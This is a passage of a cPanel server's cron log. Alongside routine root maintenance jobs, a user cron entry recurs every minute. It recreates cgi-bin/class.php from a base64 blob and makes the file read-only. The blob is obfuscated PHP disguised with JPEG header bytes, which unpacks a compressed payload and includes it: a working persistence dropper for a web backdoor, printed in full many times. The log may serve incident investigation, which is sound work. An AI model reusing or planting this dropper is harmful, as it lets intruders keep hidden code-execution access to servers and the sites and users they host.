k7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 19:18:01 server CROND[837]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 19:19:01 server CROND[902]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 19:20:01 server CROND[1059]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  6 19:20:01 server CROND[1058]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  6 19:20:01 server CROND[1060]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr  6 19:20:01 server CROND[1061]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  6 19:20:01 server CROND[1062]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 19:21:01 server CROND[1190]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 19:22:01 server CROND[1245]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 19:23:01 server CROND[1303]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 19:24:01 server CROND[1364]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 19:25:01 server CROND[1534]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  6 19:25:01 server CROND[1535]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  6 19:25:01 server CROND[1533]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 19:26:01 server CROND[1650]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 19:27:01 server CROND[1718]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 19:27:01 server CROND[1719]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr  6 19:28:01 server CROND[1805]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 19:29:01 server CROND[1872]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 19:30:01 server CROND[1950]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  6 19:30:01 server CROND[1952]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  6 19:30:01 server CROND[1951]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  6 19:30:01 server CROND[1953]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
